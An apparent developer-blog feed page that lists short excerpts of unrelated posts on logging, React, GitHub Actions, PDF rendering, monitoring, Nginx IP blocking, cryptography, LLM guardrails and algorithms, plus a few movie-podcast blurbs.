Logging values ​​to the console is an integral part of my daily work (and probably yours too). We can place all sorts of messages in the console: validating data, displaying information after a process has completed, or providing developer warnings are just some of the uses of the console object. All these operations and many more can be performed using only the methods available for this object. These include: console.log console.error console.debug console.info console.warn In this post, I'd like to present a more advanced way to manage logging in your application. This approach will bring order to your code and allow us to handle such a trivial operation with a separate module that we can modify as needed. In many projects, I've encountered the use of the no-console rule in ESlint, whic…  ( 8 min )

Recently I’ve been thinking about where frontend development is heading — especially now that AI-assisted UI generation and design-code workflows are becoming more realistic. React is one of the most popular frontend libraries, but its architecture raises an important question: Is React the right tool for a future where UI and logic could be handled by different roles? For example: designers (with help from AI tools) can generate the UI structure, while frontend developers can focus on the logic. Unlike frameworks such as Angular, Vue, Svelte, and others that separate markup (html) and logic (ts/js), React mixes markup, logic, state, and behavior all into the same block of code. That’s convenient for developers, but it can introduces challenges for design-to-code AI tools. Tools that generate only templates (HTML) and CSS can produce cleaner and more predictable output. But when markup and logic are tightly coupled, it becomes harder to: keep code clean track only logic or only template changes automate UI generation Is template, logic separation feels much more aligned with the direction automated UI generation heading? Designers or AI systems could generate clean templates, and developers could plug in the logic without responsibilities bleeding together. Could React’s architecture limit its effectiveness for future design-to-code workflows, generating messy code that’s difficult to maintain and forcing full-file reviews whenever designs change?  ( 6 min )

Source code The template-file action - contains the actual implementation of the templating. An example of how to call the action Github Actions are one of the best tools for building and publishing your systems (especially when your company already uses Github, and especially when you don't even have a choice, welcome to enterprise development). Github Actions have a concept of reusable workflows. Those allow you to expose / reuse parts of your actions to other parties, thus giving a possibility of creating a standardized flow. Github itself provides several reusable workflows, and you've probably already used them many times. One of them is a checkout action which allows you to check out a repo. Reusable workflows allow defining a set of input and output params. The above checkout act…  ( 8 min )

Most of us hit this at some point: “I need to generate a PDF from HTML… and it has to look exactly like the page.” So you pick a CLI tool or library, wire it up, and it kind of works… until you have: heavy JavaScript charts and dashboards in iframes React / SPA pages that render mostly on the client and a production server that now runs some fragile headless setup I’ve been through this a few times, so I ended up building a service I wish I had earlier: a hosted HTML → PDF/PNG API called GoPDFGenie. This post is about: why I built it, how the async API works (jobs), how to call it from Node/Python, and how you can run it hosted or self-hosted. Tools like wkhtmltopdf and many HTML→PDF wrappers are fine when: the HTML is simple, there’s almost no JS, and you don’t care too much about pixel-perfect layout. In real products I kept seeing: PDFs that didn’t match the live UI things breaking when the frontend team changed layout or added JS weird CSS/JS incompatibilities with older engines and the ongoing cost of maintaining your own headless rendering stack Once SPAs, dashboards, and iframes show up, the “just install X and call it a day” story falls apart. For my own projects, I wanted a service that: Renders pages in a real modern browser engine Handles SPAs, iframes, dashboards, charts Is hosted, so I don’t maintain headless infra again Has simple, usage-based pricing Still allows self-hosting/on-prem if a team needs that So I built GoPDFGenie. 👉 Live site: https://gopdfgenie.com 👉 API docs (Swagger UI): https://gopdfgenie.com/swagger-ui/index.html 👉 GitHub examples: https://github.com/gopdfgenie/html-to-pdf-api :contentReference[oaicite:2]{index=2} At a high level, GoPDFGenie is: “Give me a URL or HTML → I’ll render it in a headless browser → you fetch the PDF/PNG when it’s ready.” The API is asynchronous: You create a conversion job. The API returns a jobId. You poll the job status. When it’s COMPLETED, you fetch the result file as PDF or PNG. Base URL: text https://gopdfgenie.com/api/v1  ( 7 min )

Introduction: Whenever I hear any stories about stars far far away from earth, Im talking millions of light years away not possibly seen visually through any telescope, I always wonder: "How on earth (pun intended) do they find out what typa star it is from this far away?!" But I'm not satisfied until I do it myself. So in this notebook I'll be writing a model that classifies a star's type based on it's features. (And also serve as a good practice for Pytorch) The dataset consists of 6 collumns. The Temperature of the star The Luminosity of the star It's Radius It's Absolute Magnitude It's General Color of Spectrum The Spectral Class Everything should be obvious, however the Spectral Class might be news. An asteroid spectral type is assigned to asteroids based on their reflectance s…  ( 13 min )

Lately, I have been sharing my tech progress across my social platforms, and I realized… Instagram, LinkedIn, X or Thread. I shared one of the most interesting parts of my Data Science learning so far, the finance side of data analysis, where I merged a US GDP and S&P500 (stock market index)to see if GDP can help predict stock prices. If you’d like to see the post that inspired today’s update, here it is: This is the beginning of my Dev.to journey. If you enjoy real-time learning, especially from someone navigating Data Science step-by-step, I’d love to connect with you here. Thanks for reading, see you later with another update.  ( 7 min )

The Reality of Building CI/CD Pipelines (Real DevOps Life) 1️⃣ CI/CD is NOT just “Jenkins + Git + Docker” People think pipeline means: pipeline { NO. Real-world pipelines include: Multiple repos Multiple branches Multiple environments Secrets management Rollback strategy Compliance checks Infrastructure provisioning Quality gates Security scans Cost guardrails A REAL pipeline = 20–35 steps, not 3 steps. 2️⃣ 90% of the Time Is Spent Fixing Issues, NOT Writing Pipelines You will deal with: Agent down Disk full on runner Token expired Cache corrupted Maven repo down Docker registry unreachable Kubernetes API throttling SonarQube not responding TLS certificate expired Build stuck at 1% for 40 mins Reality: Pipeline success is the last chapter, not the whole story. 3️⃣ Security is everywhere — …  ( 7 min )

For this Hackathon kiroween, I wanted to build something fun, atmospheric, and full of personality. Halloween has always been about eerie visuals, creepy sounds, and unexpected jump scares — so why not bring that experience to any website on the internet? That’s how Halloween Vibes was born: a Chrome extension that instantly transforms ordinary webpages into a magical, spooky Halloween universe. 👻🕸️ Halloween is all about atmosphere — the glowing pumpkins, flickering lights, creepy whispers, and things that move when you’re not looking. I wanted to capture that feeling and bring it directly into the browser. Instead of a static theme or wallpaper, I envisioned something alive, animated, and reactive. Halloween Vibes became my way of turning the entire web into a fully immersive haunted e…  ( 8 min )

‘Snake Eyes’ Deep Dive Bill Simmons teams up with Sean Fennessey and Van Lathan to rewatch and riff on Brian De Palma’s twisty thriller Snake Eyes, starring Nic Cage, Gary Sinise, and Carla Gugino. Expect plenty of sewer-chase commentary, sharp insights, and the trio’s signature banter. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal’s Pay in 4 (5% cash back all holiday season). Don’t forget to subscribe to The Ringer-Verse and Bill Simmons channels, and follow The Ringer on Twitter, Facebook, and Instagram for more movie talk. Watch on YouTube  ( 6 min )

TL;DR CinemaSins tears into Jurassic World: Rebirth, calling out every recycled dinosaur cameo, plot convenience, and franchise hiccup—all squeezed into a cheeky “17 minutes or less” video of signature snark. They also use the description as a mega–promo: directing you to their website, social channels (YouTube, Twitter, TikTok, Instagram), Discord and Reddit communities, a sinful survey, and a Patreon link to support the team behind the jabs. Watch on YouTube  ( 6 min )

You’ve probably heard the term “LLM” thrown around in conversations about AI, but what does it really mean — and why should you care as a developer? In this post, we’ll walk through Large Language Models (LLMs) in the simplest possible terms, explaining how they work, how they compare to traditional models, and what you need to know to get started. What is an LLM? A Large Language Model (LLM) is an advanced type of AI that generates human-like text. It can write stories, summarize documents, answer questions, generate code — you name it. Think of it like a supercharged version of your phone’s autocomplete, but trained on an enormous amount of text from books, websites, and more. How Do LLMs Work? Let’s break it down: Training = Reading a Ton of Text: LLMs learn by reading billions of words…  ( 8 min )

Have you ever wondered— If your production backend or database service crashes, how fast do you actually get notified, and how quickly can you jump into troubleshooting? If a Prometheus + Alertmanager setup is properly tuned, you usually get notified within 1–1.5 minutes. Scrape Interval Let’s assume Prometheus scrapes metrics every 15–30 seconds, which is common in well-optimized setups. 15 seconds as the fastest scenario, the earliest delay starts here. Rule Evaluation Interval After scraping, alerting rules are evaluated every 15 seconds. Rules Manifest (for: 1m or reduced) Assume you've configured the rule such that if the service is down for 10 seconds, Prometheus should fire an alert. Alertmanager buffering (minimal assumptions) Ignoring group_wait, group_interval, repeat_interval to keep it raw— 10 seconds to process and send the first notification. Putting it all together: Scrape delay → ~15s Rule evaluation delay → ~15s Down detection threshold → ~10s Alertmanager handling → ~10s Network jitter → (Optional small fluctuation) 👉 Total: ~50 seconds – ~1 minute up to 1.5 minutes 1–1.5 minutes after the actual outage. During this time, your data loss may be small or large—depending on how critical the endpoint is. data loss will happen. within just 10 seconds? Imagine receiving outage alerts ~50 seconds earlier than Prometheus. Not just faster alerts—you could: Closely monitor application behavior in real-time Understand performance patterns Visualize dependency graphs Analyze blast radius Improve MTTR, SLA, SPOF detection Perform critical path analysis And much more... Pulsimo 🎉 An on-premise focused endpoint monitoring platform designed to give ultra-fast detection and deep observability. Currently in public beta. 🔗 https://pulsimo.github.io If anyone is interested in contributing — feel free to reach out!  ( 7 min )

Touch screens have become a defining interface of modern electronic devices, replacing physical buttons and outdated resistive touch panels. From smartphones and tablets to industrial displays and automotive dashboards, capacitive touch screens have become the preferred solution for both consumer and professional applications. This shift did not happen by accident — it is driven by clear technological, usability, and reliability advantages that make capacitive touch the superior choice. Below is a detailed look at the major reasons why modern devices across industries are switching to capacitive touch screens. Capacitive touch screens detect the electrical properties of the human body, enabling highly precise and fast responses to user input. Unlike resistive screens, which rely on physica…  ( 8 min )

Blocking IPs dynamically in Nginx can effectively protect websites or applications from malicious requests, crawlers, or DDoS attacks. Compared to the traditional static method of modifying the configuration file and reloading Nginx, dynamic IP blocking can automatically identify and block malicious IPs in real-time, greatly enhancing security and operational efficiency. This article will elaborate on three mainstream solutions, combined with practical configurations and application scenarios, to help you implement them quickly. Source of the article:# Practical Guide to Dynamic IP Blocking in Nginx Implementation Method: It monitors Nginx logs, and when a certain threshold is reached, it calls the firewall or modifies the configuration to block the IP. Advantages: Easy to configure, …  ( 8 min )

Greetings from the island nation of Japan. Here in the age of shiny Multimodal AI, we have a persistent, 30-year-old digital frenemy: BASE64. It's the technical equivalent of sending a 4K video by printing and faxing it—a mandatory, inefficient step that makes your data 33% heavier. We all recognize the painful necessity. This article strips away the nostalgia and offers a cynical guide to pragmatic coexistence, examining why this artifact remains essential in the JSON and REST-API world and providing the necessary code to master the relationship. If we must dance with this data encoding devil, allow me to escort you through the steps to lead the way. Recently, whether in personal hobby projects or work development, I keep encountering "BASE64." Sending images to Claude API → BASE64 Callin…  ( 15 min )

Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications Mina Golzari Dalir ・ Nov 16 #technicalseo #seo #nextjs #webdev  ( 6 min )

As developers, we often focus on writing clean code and optimizing performance, but one critical aspect that's frequently overlooked is technical SEO. In this article, using a real-world plastic injection factory example, we'll explore how you can implement SEO at the code level. Why Technical SEO Matters The Business Impact 60% of organic clicks go to the first three results 53% of website traffic comes from organic search Proper technical SEO can increase conversion rates by 30% Real-World Code Analysis: Plastic Injection Factory Example export const metadata: Metadata = { // Strategic title tag title: "Products & Services | Plastic Injection Factory", description: "Comprehensive plastic injection services • Precision mold making • Plastic parts manufacturing for automotive…  ( 9 min )

When people talk about Site Reliability Engineering (SRE), they often share abstract principles about SLIs, SLOs, and error budgets. But here's the problem: understanding the concepts isn't the same as knowing how to apply them. The truth is, reliability challenges look radically different depending on where you sit. This article presents two SRE implementations from completely different perspectives, a complete walkthrough for beginners: For startups (CompanyA): it's about moving fast without breaking everything as you scale. For enterprises (CompanyB): it's about coordinating dozens of teams who can't agree on what "reliable" even means. Both need SRE principles. But the implementation couldn't be more different. Let's dive in. By the end of this case study, you will understand: How to i…  ( 11 min )

Everything You Need to Know About AI — In One Repository Dhanush N ・ Nov 2 #ai #resources #github #beginners  ( 6 min )

Weekly Challenge 347 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a date in the form: 10th Nov 2025. Write a script to format the given date in the form: 2025-11-10 using the sets below. @DAYS = ("1st", "2nd", "3rd", ....., "30th", "31st") @MONTHS = ("Jan", "Feb", "Mar", ....., "Nov", "Dec") @YEARS = (1900..2100) Both of these weeks tasks are pretty straight forward so don't require too much explanation. For this task, I start by defined the lists (arrays in Perl) for DAYS, MONTHS and YEARS. As the years are actually a string, I use the map …  ( 8 min )

Advanced scaling patterns for Django apps - from 100 to 100K requests/day Last year I pushed 18 app versions with staging endpoints hardcoded into production. Residents across the UK couldn't unlock their hotel rooms via NFC. My PM couldn't log in. That was a frontend disaster, but it taught me something: deployment F-ups scale with complexity. Django backend scaling is the same energy - you can't just throw more Gunicorn workers at it and pray. I learned this the hard way when a payments API I built started choking at 2,000 req/min. Tea break interrupted at 11am by a Slack ping: "Checkout timing out, users complaining." I ssh'd in, watched workers dying one by one, and realized our monolith was the problem. This article covers what actually worked when I migrated that payments system to S…  ( 12 min )

Some big developer news from the Oasis ecosystem: ROFL now supports proxy-based frontend hosting directly inside TEEs (Trusted Execution Environments). No more manual proxy or TLS setup: ROFL auto-assigns subdomains (or lets you configure your own custom domain), handles DNS, and provisions TLS certs — all inside the TEE. It uses Wireguard tunnels between the scheduler and the app, so traffic is encrypted, and TLS keys never leave the trusted enclave. The deployment flow is super simple for devs: Add domain annotation to your docker-compose (or similar) file. Rebuild & redeploy. Run oasis rofl CLI to get DNS instructions. Add DNS records + verification token. Restart your app — TLS is provisioned automatically. Why this is a big deal: Full-stack confidential compute: React frontend + backend logic can now live in the same TEE, with full HTTPS. Easier production deployment: No need to configure reverse proxies or external certificate providers separately. Security + trust: All TLS keys are generated inside the TEE — even in-memory — so you don’t expose them. If you're building privacy-preserving dApps or just want to run a secure UI for your backend inside a TEE, this is a game-changer. Who here is using ROFL for their apps? Does this make you more likely to deploy frontend + backend in the same environment? full thread can be found here!  ( 6 min )

A post by aka  ( 5 min )

Hey devs, I just came across Oasis Network’s new protocol called x402, and it's a really elegant way to do micropayments natively over HTTP. 🚀 Here’s a breakdown: The idea builds on the old HTTP status code 402 (“Payment Required”), which was originally meant for paid web requests — but never really used. Oasis is bringing it back. With x402, when a client (human or AI agent) requests something (API, content, etc.), the server can respond with HTTP 402, giving the payment details (which token, amount, etc.). The client signs a permit-style transaction (using EIP-3009, transferWithAuthorization) instead of manually handling gas or private keys. A “facilitator” service verifies and then settles the payment on-chain. The client just sees the normal HTTP request-response after that. From your perspective, it’s just another API call. But under the hood, it’s real crypto + stablecoin settlement. Micropayments become viable: Because gas costs are low-ish and x402 is pay-per-request, you can charge for super small units (e.g., $0.001 / API call). Agent economy-ready: AI agents can autonomously pay for services (API / compute / data) without humans managing the wallet or paying upfront. Composable: Agents can pay each other, or pay for resources per use. Very fluid economics. Privacy + trust: When combined with ROFL and ERC-8004, you get identity, reputation, and secure execution, all in a trustless way. Use case example: If you’re building agent-first apps, this could completely change how you monetize or handle payments. Curious to hear: Who’s thinking of integrating x402 into their API? Anyone building AI agents that could use this directly? full thread: https://oasis.net/blog/x402-https-internet-native-payments  ( 6 min )

A technical story for a kid who speaks Java fluently Narrator (you): The terminal blinks. You type: java -Xms256m -Xmx2g -server MyGame And press Enter. Kid: That’s it? That’s when the magic starts? You: 🔥 That’s when the JVM is born. Phase 1: Birth — JVM Startup The OS loads the JVM executable (java → libjli.dylib/jli.dll → libjvm.so) into memory. ✅ JVM Initialization begins: Allocates process memory (heap, metaspace, thread stacks, native memory). Parses VM flags: -Xms256m: "Reserve 256 MB right now for the heap." -Xmx2g: "But you *may grow up to 2 GB — ask the OS nicely."* -server: "Use the Server VM — C2 JIT, parallel GC, biased locking… we’re in for the long haul." ➡️ HotSpot VM (Oracle’s implementation) boots its internal subsystems: Threads: Creates the main threa…  ( 16 min )

🚀 The Essentials of Modern Cryptography and Web Security This comprehensive lesson serves as an in-depth resource on the core principles of data security, spanning cryptographic fundamentals, real-world protocols, and essential defense mechanisms against prevalent web attacks. Fundamental Cryptographic Primitives Encryption Methods: Symmetric vs. Asymmetric Real-World Application & Hybrid Security Integrity & Authentication Mechanisms Web Attack Vectors and Defense 1. Fundamental Cryptographic Primitives 1.1. Hashing: The One-Way Lock 🔐 Hashing creates a fixed-size, irreversible digital fingerprint (hash value) from any input data. It is a one-way street—easy to travel down, impossible to walk back up. Principle: One-Way Function (Irreversibility). …  ( 9 min )

The LangGraph ecosystem makes it easy to build complex AI workflows in TypeScript and JavaScript — but once you have a graph, how do you ship it to production with proper storage, streaming, and framework integration? That’s where Open LangGraph Server comes in. Open LangGraph Server is the easiest way to integrate LangGraph.js into real-world web applications. It gives you a standard HTTP endpoint for your graphs, built-in support for Next.js and Hono.js, and pluggable storage backends like SQLite, PostgreSQL, and Redis — all with TypeScript-first ergonomics. In this post, we’ll walk through what it is, when you should use it, and how to get started. Open LangGraph Server is a server layer for LangGraph.js: It exposes your graphs as HTTP APIs (assistants, threads, runs, streams). It plugs…  ( 10 min )

There is something important that often gets lost in the rush of growing a company. As a business owner, you have to remember the early days — when you were a team of 2, or 10, or 30. Those were the days when every person mattered, every contribution was visible, and every win was shared. It’s easy to forget that people are the reason you made it to where you are today. Yet I’ve seen it far too many times: a company grows, becomes successful, and somewhere along the way the leaders lose sight of what really built the business. The culture shifts. The connection fades. The individuals who once formed the backbone of the organisation become invisible — reduced to employee numbers, KPI units, or a line item on a payroll list. Growth is supposed to strengthen a company, not dilute its humanity. The real danger is when success creates distance. When leadership becomes insulated. When decisions are made in boardrooms instead of in conversations. When the people who helped build the foundation are no longer recognised, valued, or heard. A great company doesn’t just scale its profits — it scales its gratitude, its awareness, its empathy, and its commitment to the people who show up every day to make the vision real. Growth should never come at the cost of forgetting who helped you grow in the first place.  ( 6 min )

What is method overloading: This is defined as a feature that allows a class to have multiple methods with the same name but different parameters. It is also known as compile time polymorphism. The different ways of method overloading in Java are given as : Changing the number of parameters Changing the data types of parameters Changing the order of parameters Ex: class Calculator{ public static void main(String[] args) { Calculator casio = new Calculator(); casio.add(10,20); casio.add(10,20,30); casio.add("Sun","Flower"); casio.add(10,"abc"); } public void add(int no1, int no2){ System.out.println(no1+no2); } public void add(int no1, int no2, int no3){ System.out.println(no1+no2+no3); } public void add(String name1, String name2){ System.out.println(name1 + name2); } public …  ( 7 min )

In a recent project where I needed to build a scalable, distributed processing workflow using RabbitMQ and Celery, I was reminded of how challenging it can be to navigate security-related documentation. RabbitMQ is a robust message broker for distributed systems, and Celery adds a powerful task-queue layer on top of it, but securing the communication between them is far from plug-and-play. While implementing TLS/SSL authentication, I ran into the usual problem: fragmented examples, missing steps, and key configuration details hidden deep in the docs. Anyone who has tried to piece together a full security setup across multiple sources knows how quickly this can turn into hours of trial, error, and guesswork. To save others from going through the same cycle, I decided to compile everything into a clear, structured, end-to-end guide on securing RabbitMQ with TLS and mTLS, including full integration with Python Celery. The guide covers: • TLS vs mTLS fundamentals If you're working with RabbitMQ and Celery or planning to secure your message broker setup, I hope this helps streamline the journey. 📄 Read my first article on my personal website: https://lnkd.in/dkzCsAFe Happy reading! 😁 hashtag#rabbitmq hashtag#celery hashtag#security hashtag#backend hashtag#microservices  ( 6 min )

Conventional Commits Rehberi Bu rehber, https://www.conventionalcommits.org/en/v1.0.0/ adresi referans alınarak hazırlanmıştır. Her commit mesajı şu formata uygun olmalıdır: [optional scope]: [optional body] [optional footer(s)] type: Yaptığınız değişikliğin türünü belirtir. scope (opsiyonel): Değişikliğin hangi bölümünü etkilediğini belirtir. description: Değişikliğin kısa ve öz açıklaması. body (opsiyonel): Daha detaylı açıklama yapılabilir. footer (opsiyonel): Ek bilgiler veya referanslar içerir. Kullanabileceğiniz commit türleri şöyledir: Type Açıklama feat Yeni bir özellik eklendi fix Bir hata düzeltildi docs Dokümantasyon güncellendi style Kod formatı veya stil değişiklikleri (işlevsel olmayan) refactor Kod yeniden düzenlendi, işlev değişmedi …  ( 7 min )

Why I Love Working with Rust and Go for Backend Development Hi, I’m Web Developer Travis McCracken, and today I want to share my insights on building robust backend systems using two of the most exciting programming languages out there: Rust and Go. As someone deeply involved in backend development, I’ve found that these languages not only improve performance but also boost developer productivity and maintainability when creating APIs and server-side applications. Rust has gained significant traction among backend developers for its focus on speed, safety, and concurrency. Its zero-cost abstractions and memory safety guarantees make it an excellent choice for high-performance APIs that demand both reliability and efficiency. Recently, I delved into creating a project called 'rust-cache-ser…  ( 8 min )

Ctrl+H opens Excel’s Find and Replace dialog — a commonly used tool for locating and updating values in bulk. It is helpful for tasks like correcting text, formatting, or cleaning large datasets quickly. By pressing Ctrl+H, you can: 1. Press Ctrl+H 2. Enter text under Find what 3. Enter text under Replace with 4. Use Replace or Replace All Example: Option Description Match Case Finds text with same capitalization Match Entire Cell Contents Replaces only when full cell matches Search Within Selection / Sheet / Workbook Look In Formulas / Values / Comments Task Find Replace Notes Remove extra spaces " " " " Run multiple times until no changes Standardize abbreviations "St." "Street" Useful for addresses Format dates "/" "-" Changes separator Remove characte…  ( 7 min )

As developers, we live by data. We track uptime, monitor latency, and debug with logs. When marketing talks about 'brand awareness' or 'engagement,' it can feel like a fuzzy, unquantifiable black box. But what if you could treat your marketing funnel like a distributed system, with key metrics acting as health checks and performance indicators? That's what effective B2B marketing is all about: measuring what matters to prove and improve ROI. Forget vanity metrics like social media likes. Let's dive into seven mission-critical B2B marketing KPIs you can track, calculate, and optimize like a seasoned SRE. This is the big one. It's the cost field in your API response for a new customer. It tells you exactly how much you spend, on average, to acquire a single paying customer. A low CAC means y…  ( 11 min )

They dive back into Brian De Palma’s 1998 thriller Snake Eyes—starring Nicolas Cage, Gary Sinise, and Carla Gugino—with Bill Simmons, Sean Fennessey, and Van Lathan crowning themselves “kings of the sewer” as they unpack the movie’s twists, performances, and De Palma’s signature style. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Ringer Movies episode is sponsored by PayPal (5% cash back on Pay in 4 all holiday long). Don’t forget to subscribe to The Ringer’s YouTube channels and follow them on social for more. Watch on YouTube  ( 6 min )

TL;DR CinemaSins rips into Jurassic World Rebirth in under 17 minutes, calling out every recycled dinosaur gag, flimsy plot twist and “did-that-just-happen?” moment that keeps the franchise shambling back to life. Expect plenty of quips about T-Rex cameos, predictable jump scares and contrived heroics. They also drop links to their site, socials, podcast and Patreon—because while we keep sinning on-screen, they want us sinning for subscription tiers and poll answers too. Watch on YouTube  ( 6 min )

The fashion industry has always been about creating desire through imagery, but what happens when that imagery no longer requires human subjects? When Vogue began experimenting with AI-generated models in their advertising campaigns, it sparked a debate that extends far beyond the glossy pages of fashion magazines. The controversy touches on fundamental questions about labour, representation, and authenticity in an industry built on selling dreams. As virtual influencers accumulate millions of followers and AI avatars become increasingly sophisticated, we're witnessing what researchers describe as a paradigm shift in how brands connect with consumers. The question isn't whether technology can replace human models, it's whether audiences will accept it. The emergence of AI-generated models …  ( 23 min )

You know that feeling when you walk into a room and wonder if everyone else has the secret manual you somehow missed? That was me, not so long ago, staring at a wall of Angular code, heart pounding, convinced I was just one Google search away from being exposed as a total fraud. I didn’t start out as a frontend whiz — honestly, I stumbled into the Angular world almost by accident, armed with more curiosity than confidence and a healthy dose of “fake it till you make it.” But somewhere between debugging my first inscrutable error message and shipping features that actually worked, I realized I wasn’t alone. Imposter syndrome wasn’t just a buzzword — it was the background music to my early days as a developer. If you’ve ever felt like you’re pretending to know what you’re doing while everyon…  ( 13 min )

I got a computer back in 1997, and the word “Linux” was completely unknown to me. In fact, I hardly knew Windows back then. I only had experience with console gaming, and consoles didn’t have Operating Systems. Each cartridge had its own “operating system”: the game itself. At school I worked with Windows 3.11, but that was only for a few hours in computer class. Nothing special. But 1997 opened a new door for me: PC, RAM, Hard Disk, Operating System, Windows, Computer Magazines. And in the magazines, a very questionable article about Linux. SuSE Linux was the one the magazine presented. Later, as a CS student, I had... read more  ( 6 min )

Today was a bit chaotic but productive in its own way. I finally added a compiler to my project using Judge0. One day I want to build my own single-file compiler, but right now Judge0 is the best shortcut. On the bright side, the UI is looking much better than before. The collaborative coding part works so im happy Apart from that, I solved a medium LeetCode problem today. Not my fastest solve, but at least I didn’t give up halfway like yesterday. To end the day, I watched Amigoscode’s Docker & Kubernetes playlist on YouTube. DevOps always felt scary to me, but his explanations actually make it feel doable. Nothing crazy today, but a solid step forward.  ( 6 min )

If you're building a Ruby gem that integrates with Rails applications, you might want to provide custom validators that developers can use declaratively in their models. In this comprehensive tutorial, we'll walk through building a custom ActiveModel validator in a gem, using the domain_extractor gem's DomainValidator as our case study. Custom validators allow gem users to validate model attributes with a simple, declarative syntax: class User < ApplicationRecord validates :website, domain: true validates :company_url, domain: { allow_subdomains: true } end This is much cleaner than writing custom validation methods in every model, and it encapsulates complex validation logic in a reusable, testable component. Understanding ActiveModel::EachValidator Creating the Validator Class Addin…  ( 11 min )

In 2024 alone, 68% of enterprises deploying Large Language Models (LLMs) reported security incidents due to inadequate guardrails. If you’re building with LLMs—whether ChatGPT, Claude, Llama, or proprietary models—understanding guardrails isn't optional anymore. It's the difference between a production-ready application and a compliance nightmare waiting to happen. This comprehensive guide breaks down 50+ guardrails across 8 critical categories. Whether you're a security engineer hardening enterprise AI systems, a developer building your first LLM application, or a compliance officer evaluating AI risks, you’ll find actionable insights here. LLM guardrails are safety mechanisms that monitor, filter, and control what goes into and comes out of your AI system. Think of them as security chec…  ( 10 min )

Effortless Jupyter Notebook to PDF in VS Code: Meet nb2pdf If you’ve ever tried to submit a Jupyter notebook as a PDF, you already know the pain: “Print to PDF” from the browser looks ugly. nbconvert and LaTeX often break or need painful setup. Copy–paste into Word takes 30–60 minutes per assignment. DataFrames turn into messy text instead of clean tables. For learners, developers, and especially students who work heavily in Jupyter, this becomes a recurring headache every time an assignment or report is due. That’s why I built nb2pdf – a VS Code extension that converts your .ipynb notebook into a clean, professional PDF in just a few clicks. nb2pdf? nb2pdf is a Visual Studio Code extension that: Takes any .ipynb notebook Automatically runs it (so all cells are executed) Captures…  ( 9 min )

As engineers, we often hear "safety" and "security" used interchangeably, but they represent fundamentally different concerns that require distinct approaches. Understanding this distinction is crucial for building resilient systems that protect both your users and your organization. Security is about protecting systems from malicious actors who intentionally try to cause harm, steal data, or disrupt operations. Safety is about protecting systems and users from unintended failures, bugs, or accidents that could cause harm, even when everyone has good intentions. Think of it this way: Security asks "What if someone tries to break this?" while Safety asks "What if something goes wrong?" Software engineers must defend against adversaries actively trying to exploit vulnerabilities. 1. Input V…  ( 14 min )

I've been tracking workouts in Excel for a decade. Formulas for 1RM calculations, conditional formatting for volume landmarks, macros for progressive overload. It worked—until it didn't. Excel can't tell when I'm tired. It can't suggest "hey, drop the weight 2.5kg because you left 3 RIR on that last set when you should've left 1." It can't learn that I prefer cable exercises over barbell for triceps because of elbow pain. So I built ARVO—an AI-powered training app with 17+ specialized agents that orchestrate real-time coaching decisions. Not generic "do 3x10" programs. Real set-by-set progression with detailed reasoning, adaptive to your performance. The interesting part? Each agent uses different reasoning effort levels depending on latency requirements. My progression calculator needs <2…  ( 14 min )

About dot-claude-sync TL;DR A Go CLI tool that synchronizes .claude directories across multiple projects/worktrees Achieves flexible synchronization strategies through group management and priority system Dramatically improves Claude Code utilization in git worktree environments My workflow involves having Claude Code first conduct research and create TODOs for tasks, which I then review before having it write the code. However, they always show up as Git diffs, and adding them to global ignore is cumbersome. .claude folder, which Claude doesn't automatically read. I thought placing documents in .claude would make management easier, and it worked well in practice. dashboard-fix-XXX inside .claude/custom-documents to consolidate task-related content. As I use Claude Code, I in…  ( 9 min )

1. Overview A critical issue in production environments is a workflow process halting when the Joget server unexpectedly goes down. While user activities are often easy to "Complete" manually via the Process Monitor, processes stuck specifically on a Tool Plugin (like an Email Tool or integration script) often resist normal completion attempts. The "Complete" button in the Process Monitor UI has no effect because a Tool is a server-side action, not a user-driven workflow task. This post reveals the expert method, recommended by the Joget support team, to reliably force-resume or restart a stuck tool using the built-in JSON Monitoring API. When a tool element is stuck, the workflow engine typically believes the tool is still running or failed to complete its transaction. The solution is t…  ( 8 min )

Algoritma machine learning buat klasifikasi atau clustering berdasarkan "tetangga terdekat". Ini cocok buat pemula yang lagi nyobain ML (kayak gue), terutama buat sistem rekomendasi seperti di Netflix atau Spotify. Yuk, kita bahas step by step! KNN itu kayak nyari temen deket buat nentuin sesuatu. Misalnya, kita punya titik baru di data, KNN bakal liat K tetangga terdekatnya (pake jarak Euclidean biasanya), terus pilih kelas yang paling banyak dari tetangga itu. Gampang kan? Gak perlu training rumit, cuma hitung jarak doang. Ini plot sederhana buat nunjukin gimana KNN kerja di data 2D. Ada dua kelas: A (biru) dan B (merah). Titik test (hijau X) lagi dicek tetangganya. Penjelasan Simpel: Data training: Titik-titik biru (A) dan merah (B). Test point (hijau): [8, 8] – KNN hitung jarak ke s…  ( 8 min )

Introducing emojis-cleaner — Remove Emojis from Any File or Codebase (CLI + JS API) Have you ever opened a file in your codebase and found random emojis inside comments, logs, commits, or strings? Yes, they look aesthetic… until they break your CI, minifiers, builds, or linters. 😅 I ran into this too many times and decided to fix it once and for all. So today, I'm excited to introduce: emojis-cleaner — a simple tool to remove all emojis from any project NPM: https://www.npmjs.com/package/emojis-cleaner emojis-cleaner is a tiny Node.js package + CLI tool that: ✔ Removes all emojis from any text any file type (JS, TS, HTML, JSON, Markdown, etc.) entire folders recursively node_modules Whether you want to sanitize logs, clean content, or enforce “no emojis in code”, this tool does the jo…  ( 7 min )

Understanding Difference Arrays Imagine you have a problem. You have a list of numbers. This list is very big. You are given many tasks to update this list. The task is to add a number to a range of indexes. For example, the first task could be to add 5 to all numbers from index 2 to index 7. If you do this one by one for every number on every task, it will be very slow. Your code will not run fast enough. We need a faster way. This is where the Difference Array technique helps. Let's start with a simple example. We have an array of size 6 initialized with 0. A = [0, 0, 0, 0, 0, 0] We have two updates to do. Add 2 to the numbers from index 1 to 3. Add 4 to the numbers from index 3 to 4. All indexing in this post is 0-based. This is the obvious way to do it. We just go through the given u…  ( 9 min )

